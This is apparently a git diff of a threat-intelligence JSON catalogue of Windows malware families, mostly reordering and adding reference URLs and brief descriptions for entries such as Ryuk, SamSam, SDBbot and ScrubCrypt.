"https://www.ccn-cert.cni.es/informes/informes-ccn-cert-publicos/5768-ccn-cert-id-03-21-ryuk-ransomware/file.html", + "https://www.heise.de/security/artikel/Emotet-Trickbot-Ryuk-ein-explosiver-Malware-Cocktail-4573848.html", + "https://www.ccn-cert.cni.es/informes/informes-ccn-cert-publicos/4217-ccn-cert-id-26-19-ryuk-1/file.html", + "https://decrypt.co/15394/how-ransomware-exploded-in-the-age-of-btc", + "https://fourcore.io/blogs/ryuk-ransomware-simulation-mitre-ttp", + "https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-NicolaoMartins.pdf", + "https://www.latimes.com/local/lanow/la-me-ln-times-delivery-disruption-20181229-story.html", + "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", + "https://www.advanced-intel.com/post/crime-laundering-primer-inside-ryuk-crime-crypto-ledger-risky-asian-crypto-traders", + "https://securityliterate.com/reversing-ryuk-a-technical-analysis-of-ryuk-ransomware/", + "https://twitter.com/IntelAdvanced/status/1356114606780002308", + "https://www.bleepingcomputer.com/news/security/new-ryuk-info-stealer-targets-government-and-military-secrets/", + "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html", + "https://4rchib4ld.github.io/blog/NiceToMeetYouRyuk/", + "https://thehackernews.com/2022/05/malware-analysis-trickbot.html", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://krebsonsecurity.com/2020/10/fbi-dhs-hhs-warn-of-imminent-credible-ransomware-threat-against-u-s-hospitals/", + "https://www.zdnet.com/article/dod-contractor-suffers-ransomware-infection/", + "https://blog.reversinglabs.com/blog/hunting-for-ransomware", + "https://blog.talosintelligence.com/2020/06/CTIR-trends-q3-2020.html#more", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.reuters.com/article/usa-healthcare-cyber-idUSKBN27E0EP", + "https://blog.malwarebytes.com/threat-spotlight/2019/12/threat-spotlight-the-curious-case-of-ryuk-ransomware/", + "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-deployed-two-weeks-after-trickbot-infection/", "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-stops-encrypting-linux-folders/", - "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", - "https://www.splunk.com/en_us/blog/security/ryuk-and-splunk-detections.html", - "https://blogs.microsoft.com/on-the-issues/2022/04/13/zloader-botnet-disrupted-malware-ukraine/", - "https://github.com/ThreatConnect-Inc/research-team/blob/master/IOCs/WizardSpider-UNC1878-Ryuk.csv", - "https://research.nccgroup.com/2021/03/04/deception-engineering-exploring-the-use-of-windows-service-canaries-against-ransomware/", - "https://www.proofpoint.com/us/blog/threat-insight/q4-2020-threat-report-quarterly-analysis-cybersecurity-trends-tactics-and-themes", - "https://edition.cnn.com/2020/10/28/politics/hospitals-targeted-ransomware-attacks/index.html", - "https://www.wilbursecurity.com/2020/03/trickbot-to-ryuk-in-two-hours/", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://www.fireeye.com/blog/threat-research/2020/03/the-cycle-of-adversary-pursuit.html", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://twitter.com/anthomsec/status/1321865315513520128", - "https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/", - "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-attacked-epiq-global-via-trickbot-infection/", - "https://0xc0decafe.com/2020/12/28/never-upload-ransomware-samples-to-the-internet/", - "https://www.ccn-cert.cni.es/informes/informes-ccn-cert-publicos/5768-ccn-cert-id-03-21-ryuk-ransomware/file.html", - "https://gist.github.com/aaronst/6aa7f61246f53a8dd4befea86e832456", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2019-ACT-005.pdf", - "https://blog.truesec.com/2020/12/22/collaboration-between-fin7-and-the-ryuk-group-a-truesec-investigation/", - "https://blogs.vmware.com/networkvirtualization/2020/11/trick-or-threat-ryuk-ransomware-targets-the-health-care-industry.html/", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://blog.sensecy.com/2020/08/20/global-ransomware-attacks-in-2020-the-top-4-vulnerabilities/", - "https://www.bleepingcomputer.com/news/security/new-ryuk-info-stealer-targets-government-and-military-secrets/", - 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"d16f9dc6-290d-4174-8b47-a972cc52dac7", "value": "SafeNet" }, + { + "description": "According to Symantec, Sagerunex is a backdoor that is fairly resilient and implements multiple forms of communication with its command-and-control (C&C) server. Its logs are encrypted and the encryption algorithm used is AES256-CBC with 8192 rounds of SHA256 for key derivation based on a hardcoded key. It supports multiple modes methods for communicating via HTTP (proxy-aware).", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.sagerunex", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments-cert-authority" + ], + "synonyms": [], + "type": [] + }, + "uuid": "d8228309-ebf8-46fd-a968-bd9e24c498b4", + "value": "Sagerunex" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sage_ransom", - "https://isc.sans.edu/forums/diary/Sage+20+Ransomware/21959/", - "https://www.govcert.admin.ch/blog/27/saga-2.0-comes-with-ip-generation-algorithm-ipga", "https://www.cert.pl/en/news/single/sage-2-0-analysis/", "http://malware-traffic-analysis.net/2017/10/13/index.html", - "https://blog.malwarebytes.com/threat-analysis/2017/03/explained-sage-ransomware/" + "https://blog.malwarebytes.com/threat-analysis/2017/03/explained-sage-ransomware/", + "https://isc.sans.edu/forums/diary/Sage+20+Ransomware/21959/", + "https://www.govcert.admin.ch/blog/27/saga-2.0-comes-with-ip-generation-algorithm-ipga" ], "synonyms": [ "Saga" @@ -40495,13 +42705,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.saint_bot", - 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"https://unit42.paloaltonetworks.com/c2-traffic/", - "https://www.botconf.eu/wp-content/uploads/2015/12/OK-P18-Kleissner-Sality.pdf", + "https://gist.githubusercontent.com/quangnh89/41deada8a936a1877a6c6c757ce73800/raw/41f27388a11a606e1d6a7596dcb6469578e79321/sality_extractor.py", "https://www.dragos.com/blog/the-trojan-horse-malware-password-cracking-ecosystem-targeting-industrial-operators/", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", - "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/sality_peer_to_peer_viral_network.pdf", - "https://gist.githubusercontent.com/quangnh89/41deada8a936a1877a6c6c757ce73800/raw/41f27388a11a606e1d6a7596dcb6469578e79321/sality_extractor.py" + "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/sality_peer_to_peer_viral_network.pdf" ], "synonyms": [], "type": [] @@ -40606,35 +42818,35 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.samsam", - "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf", - "https://www.justice.gov/opa/pr/two-iranian-men-indicted-deploying-ransomware-extort-hospitals-municipalities-and-public", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", - "https://nakedsecurity.sophos.com/2018/08/02/how-to-defend-yourself-against-samsam-ransomware/", - "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", - "https://www.secureworks.com/research/samsam-ransomware-campaigns", "https://www.youtube.com/watch?v=LUxOcpIRxmg", - "https://therecord.media/iranian-hackers-behind-cox-media-group-ransomware-attack/", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", - "https://news.sophos.com/en-us/2018/07/31/sophoslabs-releases-samsam-ransomware-report/", - "https://news.sophos.com/en-us/2018/07/31/samsam-guide-to-coverage/", - "https://www.secureworks.com/research/threat-profiles/gold-lowell", - "https://www.crowdstrike.com/blog/an-in-depth-analysis-of-samsam-ransomware-and-boss-spider/", - "https://www.justice.gov/opa/press-release/file/1114746/download", - "http://blog.talosintel.com/2016/03/samsam-ransomware.html", + "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf", + "https://nakedsecurity.sophos.com/2018/08/02/how-to-defend-yourself-against-samsam-ransomware/", "https://www.secureworks.com/blog/samsam-converting-opportunity-into-profit", + "https://www.secureworks.com/research/threat-profiles/gold-lowell", + "https://news.sophos.com/en-us/2018/11/29/how-a-samsam-like-attack-happens-and-what-you-can-do-about-it/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", + "https://news.sophos.com/en-us/2018/07/31/sophoslabs-releases-samsam-ransomware-report/", + "https://www.justice.gov/opa/pr/two-iranian-men-indicted-deploying-ransomware-extort-hospitals-municipalities-and-public", "https://sites.temple.edu/care/ci-rw-attacks/", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", + "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", + "https://www.justice.gov/opa/press-release/file/1114746/download", "https://www.secureworks.com/blog/samas-ransomware", "https://nakedsecurity.sophos.com/2018/09/11/the-rise-of-targeted-ransomware/", - "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", - "https://www.secureworks.com/blog/ransomware-deployed-by-adversary", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", "https://nakedsecurity.sophos.com/2018/05/01/samsam-ransomware-a-mean-old-dog-with-a-nasty-new-trick-report/", - "https://news.sophos.com/en-us/2018/11/29/how-a-samsam-like-attack-happens-and-what-you-can-do-about-it/", - "https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/samsam-ransomware-chooses-its-targets-carefully-wpna.aspx", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://news.sophos.com/en-us/2018/07/31/samsam-guide-to-coverage/", + "https://www.secureworks.com/blog/ransomware-deployed-by-adversary", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://www.crowdstrike.com/blog/an-in-depth-analysis-of-samsam-ransomware-and-boss-spider/", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", "http://blog.talosintelligence.com/2018/01/samsam-evolution-continues-netting-over.html", - "https://nakedsecurity.sophos.com/2018/07/31/samsam-the-almost-6-million-ransomware/" + "https://therecord.media/iranian-hackers-behind-cox-media-group-ransomware-attack/", + "https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/samsam-ransomware-chooses-its-targets-carefully-wpna.aspx", + "https://nakedsecurity.sophos.com/2018/07/31/samsam-the-almost-6-million-ransomware/", + "http://blog.talosintel.com/2016/03/samsam-ransomware.html", + "https://www.secureworks.com/research/samsam-ransomware-campaigns" ], "synonyms": [ "Samas" @@ -40649,8 +42861,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sanny", - "http://contagiodump.blogspot.com/2012/12/end-of-year-presents-continue.html", - "https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html" + "https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", + "http://contagiodump.blogspot.com/2012/12/end-of-year-presents-continue.html" ], "synonyms": [], "type": [] @@ -40676,11 +42888,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sappycache", - "https://blog.alyac.co.kr/2219", - "https://blog.reversinglabs.com/blog/catching-lateral-movement-in-internal-emails", - "https://www.fireeye.com/blog/threat-research/2019/03/winrar-zero-day-abused-in-multiple-campaigns.html", "https://blog.alyac.co.kr/m/2219", - "https://www.clearskysec.com/wp-content/uploads/2019/08/ClearSky-2019-H1-Cyber-Events-Summary-Report.pdf" + "https://www.clearskysec.com/wp-content/uploads/2019/08/ClearSky-2019-H1-Cyber-Events-Summary-Report.pdf", + "https://blog.reversinglabs.com/blog/catching-lateral-movement-in-internal-emails", + "https://blog.alyac.co.kr/2219", + "https://www.fireeye.com/blog/threat-research/2019/03/winrar-zero-day-abused-in-multiple-campaigns.html" ], "synonyms": [], "type": [] @@ -40693,9 +42905,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sarhust", + "https://speakerdeck.com/ashley920/into-the-fog-the-return-of-icefog-apt", "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/bkdr_sarhust.a", - "https://www.fortinet.com/blog/threat-research/hussarini---targeted-cyber-attack-in-the-philippines.html", - "https://speakerdeck.com/ashley920/into-the-fog-the-return-of-icefog-apt" + "https://www.fortinet.com/blog/threat-research/hussarini---targeted-cyber-attack-in-the-philippines.html" ], "synonyms": [ "ENDCMD", @@ -40711,13 +42923,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sasfis", - "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/sasfis", - "https://blog.trendmicro.com/trendlabs-security-intelligence/sasfis-malware-uses-a-new-trick/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/sasfis-fizzles-in-the-background/", + "https://isc.sans.edu/forums/diary/Sasfis+Propagation/8860/", + "https://www.symantec.com/security-center/writeup/2010-020210-5440-99", "https://www.virusbulletin.com/virusbulletin/2012/11/tracking-2012-sasfis-campaign", "https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj~Sasfis-O/detailed-analysis.aspx", - "https://www.symantec.com/security-center/writeup/2010-020210-5440-99", - "https://isc.sans.edu/forums/diary/Sasfis+Propagation/8860/" + "https://blog.trendmicro.com/trendlabs-security-intelligence/sasfis-fizzles-in-the-background/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/sasfis-malware-uses-a-new-trick/", + "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/sasfis" ], "synonyms": [ "Oficla" @@ -40732,14 +42944,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.satan", - "https://www.sangfor.com/source/blog-network-security/1094.html", + "https://www.alienvault.com/blogs/labs-research/satan-ransomware-spawns-new-methods-to-spread", "http://blog.nsfocusglobal.com/categories/trend-analysis/satan-variant-analysis-handling-guide/", - "https://bartblaze.blogspot.com/2018/04/satan-ransomware-adds-eternalblue.html", "https://www.bleepingcomputer.com/news/security/dbger-ransomware-uses-eternalblue-and-mimikatz-to-spread-across-networks/", "https://bartblaze.blogspot.com/2020/01/satan-ransomware-rebrands-as-5ss5c.html", + "https://cyware.com/news/new-satan-ransomware-variant-lucky-exposes-10-server-side-vulnerabilities-070afbd2", "https://www.bleepingcomputer.com/news/security/new-satan-ransomware-available-through-a-ransomware-as-a-service-/", - "https://www.alienvault.com/blogs/labs-research/satan-ransomware-spawns-new-methods-to-spread", - "https://cyware.com/news/new-satan-ransomware-variant-lucky-exposes-10-server-side-vulnerabilities-070afbd2" + "https://bartblaze.blogspot.com/2018/04/satan-ransomware-adds-eternalblue.html", + "https://www.sangfor.com/source/blog-network-security/1094.html" ], "synonyms": [ "5ss5c", @@ -40756,8 +42968,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.satana", - "https://blog.reversinglabs.com/blog/retread-ransomware", - "https://www.cylance.com/threat-spotlight-satan-raas" + "https://www.cylance.com/threat-spotlight-satan-raas", + "https://blog.reversinglabs.com/blog/retread-ransomware" ], "synonyms": [], "type": [] @@ -40770,7 +42982,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.satellite_turla", - "https://securelist.com/satellite-turla-apt-command-and-control-in-the-sky/72081/" + "https://securelist.com/satellite-turla-apt-command-and-control-in-the-sky/72081/", + "https://nsarchive.gwu.edu/sites/default/files/documents/3921357/Government-of-Canada-Hackers-are-Humans-Too.pdf" ], "synonyms": [], "type": [] @@ -40789,15 +43002,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "35849d8f-5bac-475b-82f8-7d555f37de12", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "bdc7cc9c-c46d-4f77-b903-2335cc1a3369", "value": "Sathurbot" }, @@ -40806,9 +43010,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.scanpos", + "https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2016-11-15-scanpos.md", "https://www.proofpoint.com/us/threat-insight/post/kronos-banking-trojan-used-to-deliver-new-point-of-sale-malware", - "https://securitykitten.github.io/2016/11/15/scanpos.html", - "https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2016-11-15-scanpos.md" + "https://securitykitten.github.io/2016/11/15/scanpos.html" ], "synonyms": [], "type": [] @@ -40838,10 +43042,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.scarab_ransom", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", + "https://securelist.com/story-of-the-year-2019-cities-under-ransomware-siege/95456/", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", "http://malware-traffic-analysis.net/2017/11/23/index.html", - "https://securelist.com/story-of-the-year-2019-cities-under-ransomware-siege/95456/" + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf" ], "synonyms": [], "type": [] @@ -40849,13 +43053,26 @@ "uuid": "c1ccba65-e2f0-4f29-8e04-6b119c7f8694", "value": "Scarab Ransomware" }, + { + "description": "Based on the leaked Conti source code.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.scarecrow", + "https://www.fortinet.com/blog/threat-research/ransomware-roundup-new-vohuk-scarecrow-and-aerst-variants" + ], + "synonyms": [], + "type": [] + }, + "uuid": "7e8e41de-b3f8-4c2b-a9fe-e1aa6532e76b", + "value": "ScareCrow" + }, { "description": "Schneiken is a VBS 'Double-dropper'. It comes with two RATs embedded in the code (Dunihi and Ratty). Entire code is Base64 encoded.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.schneiken", - "https://engineering.salesforce.com/malware-analysis-new-trojan-double-dropper-5ed0a943adb", - "https://github.com/vithakur/schneiken" + "https://github.com/vithakur/schneiken", + "https://engineering.salesforce.com/malware-analysis-new-trojan-double-dropper-5ed0a943adb" ], "synonyms": [], "type": [] @@ -40868,23 +43085,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.scieron", - "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=8bfa7311-fdd9-4f8d-b813-1ab6c9d2c363", + "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", "https://www.sentinelone.com/labs/chinese-threat-actor-scarab-targeting-ukraine", "https://www.sentinelone.com/labs/chinese-threat-actor-scarab-targeting-ukraine/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "267bf78e-f430-47b6-8ba0-1ae31698c711", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "e343583b-8338-42ea-af60-311578146151", "value": "Scieron" }, @@ -40906,24 +43114,28 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.scranos", - "https://www.bitdefender.com/files/News/CaseStudies/study/271/Bitdefender-Whitepaper-Scranos-2.pdf", - "https://labs.bitdefender.com/2019/04/inside-scranos-a-cross-platform-rootkit-enabled-spyware-operation/" + "https://labs.bitdefender.com/2019/04/inside-scranos-a-cross-platform-rootkit-enabled-spyware-operation/", + "https://www.bitdefender.com/files/News/CaseStudies/study/271/Bitdefender-Whitepaper-Scranos-2.pdf" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "5f0f6af2-b644-49a6-8f68-5d4ca58c989e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "b5d90140-f307-402c-9d7f-9cdf21a7cb31", "value": "Scranos" }, + { + "description": "SentinelOne describes this malware as capable of doing screen capture and keylogging. It is uses by a threat cluster they named WIP19, targeting telecommunications and IT service providers in the Middle East and Asia.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.screencap", + "https://www.sentinelone.com/labs/wip19-espionage-new-chinese-apt-targets-it-service-providers-and-telcos-with-signed-malware/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "cba2db46-268c-4203-a982-3bf9985c91a4", + "value": "ScreenCap" + }, { "description": "", "meta": { @@ -40937,33 +43149,48 @@ "uuid": "9803b201-28e5-40c5-b661-c1a191388072", "value": "ScreenLocker" }, + { + "description": "ScrubCrypt is the rebranded \"Jlaive\" crypter, with a unique capability of .BAT packing", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.scrubcrypter", + "https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/scrubcrypt-the-rebirth-of-jlaive", + "https://perception-point.io/blog/the-rebranded-crypter-scrubcrypt/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "6f597339-7eac-4885-b888-bf8a81bca7b3", + "value": "ScrubCrypt" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sdbbot", + "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-returns-with-a-new-bag-of-tricks-602104", + "https://blog.fox-it.com/2020/11/16/ta505-a-brief-history-of-their-time/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", + "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672", + "https://vblocalhost.com/uploads/VB2020-Jung.pdf", + "https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://www.cyber.gov.au/acsc/view-all-content/alerts/sdbbot-targeting-health-sector", + "https://www.telekom.com/en/blog/group/article/inside-of-cl0p-s-ransomware-operation-615824", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", "https://www.telekom.com/en/blog/group/article/eager-beaver-a-short-overview-of-the-restless-threat-actor-ta505-609546", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://intel471.com/blog/a-brief-history-of-ta505", - "https://vblocalhost.com/uploads/VB2020-Jung.pdf", - "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader", - "https://github.com/Tera0017/SDBbot-Unpacker", - "https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", - "https://www.secureworks.com/research/threat-profiles/gold-tahoe", - "https://blog.fox-it.com/2020/11/16/ta505-a-brief-history-of-their-time/", - "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-returns-with-a-new-bag-of-tricks-602104", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", - "https://www.telekom.com/en/blog/group/article/inside-of-cl0p-s-ransomware-operation-615824", - "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.96_ENG.pdf", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672", - "https://www.cyber.gov.au/acsc/view-all-content/alerts/sdbbot-targeting-health-sector" + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://www.secureworks.com/research/threat-profiles/gold-tahoe", + "https://github.com/Tera0017/SDBbot-Unpacker", + "https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/", + "https://intel471.com/blog/a-brief-history-of-ta505", + "https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.96_ENG.pdf", + "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader" ], "synonyms": [], "type": [] @@ -40972,14 +43199,14 @@ "value": "SDBbot" }, { - "description": "", + "description": "Backdoor written in Python 2, deployed with PyInstaller.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.seadaddy", - "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=6ab66701-25d7-4685-ae9d-93d63708a11c&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", - "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html", - "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/", "https://www.cyborgsecurity.com/cyborg_labs/python-malware-on-the-rise/", + "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/", + "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html", + "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=6ab66701-25d7-4685-ae9d-93d63708a11c&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", "https://unit42.paloaltonetworks.com/unit-42-technical-analysis-seaduke/" ], "synonyms": [ @@ -41001,25 +43228,23 @@ "synonyms": [], "type": [] }, - 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"https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/" + "https://securityaffairs.co/wordpress/127826/malware/egregor-sekhmet-decryption-keys.html", + "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-007/", + "https://id-ransomware.blogspot.com/2020/03/sekhmet-ransomware.html" ], "synonyms": [], "type": [] @@ -41148,7 +43373,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.selfmake", - "https://twitter.com/8th_grey_owl/status/1481433481485844483" + "https://twitter.com/8th_grey_owl/status/1481433481485844483", + "https://jp.security.ntt/resources/EN-BlackTech_2021.pdf" ], "synonyms": [], "type": [] @@ -41199,6 +43425,19 @@ "uuid": "6025475a-b89d-401d-882d-50fe1b03154f", "value": "Sepulcher" }, + { + "description": "This malware is protected using VMProtect and related to the loading of KEYPLUG.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.serialvlogger", + "https://www.malwarebytes.com/blog/threat-intelligence/2022/winnti-apt-group-docks-in-sri-lanka-for-new-campaign-final.pdf" + ], + "synonyms": [], + "type": [] + }, + "uuid": "0592daf4-5f68-4087-ad4e-efe773009ca6", + "value": "SerialVlogger" + }, { "description": "", "meta": { @@ -41216,30 +43455,30 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.servhelper", - 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} - ], "uuid": "d00c8f94-d6b5-40b7-b167-fc546c5dec38", "value": "Shark" }, @@ -41481,15 +43698,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "203fd529-6382-417e-a68f-7565fbf89ece", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "d31f1c73-d14b-41e2-bb16-81ee1d886e43", "value": "SHARPKNOT" }, @@ -41553,7 +43761,7 @@ "value": "ShellClient RAT" }, { - "description": "", + "description": "PCRIsk states that ShellLocker is a ransomware-type virus developed using .NET framework. It was first discovered by Jakub Kroustek and is virtually identical to another ransomware virus called Exotic.\r\n\r\nFollowing infiltration, this virus encrypts stored data (video, audio, etc.) and renames encrypted files using the \"[random_characters].L0cked\" pattern (e.g., \"sample.jpg\" might be renamed to \"gd&=AA0fgoi.L0cked\"). Following successful encryption, ShellLocker opens a pop-up window containing ransom-demand message.", "meta": { "refs": [ 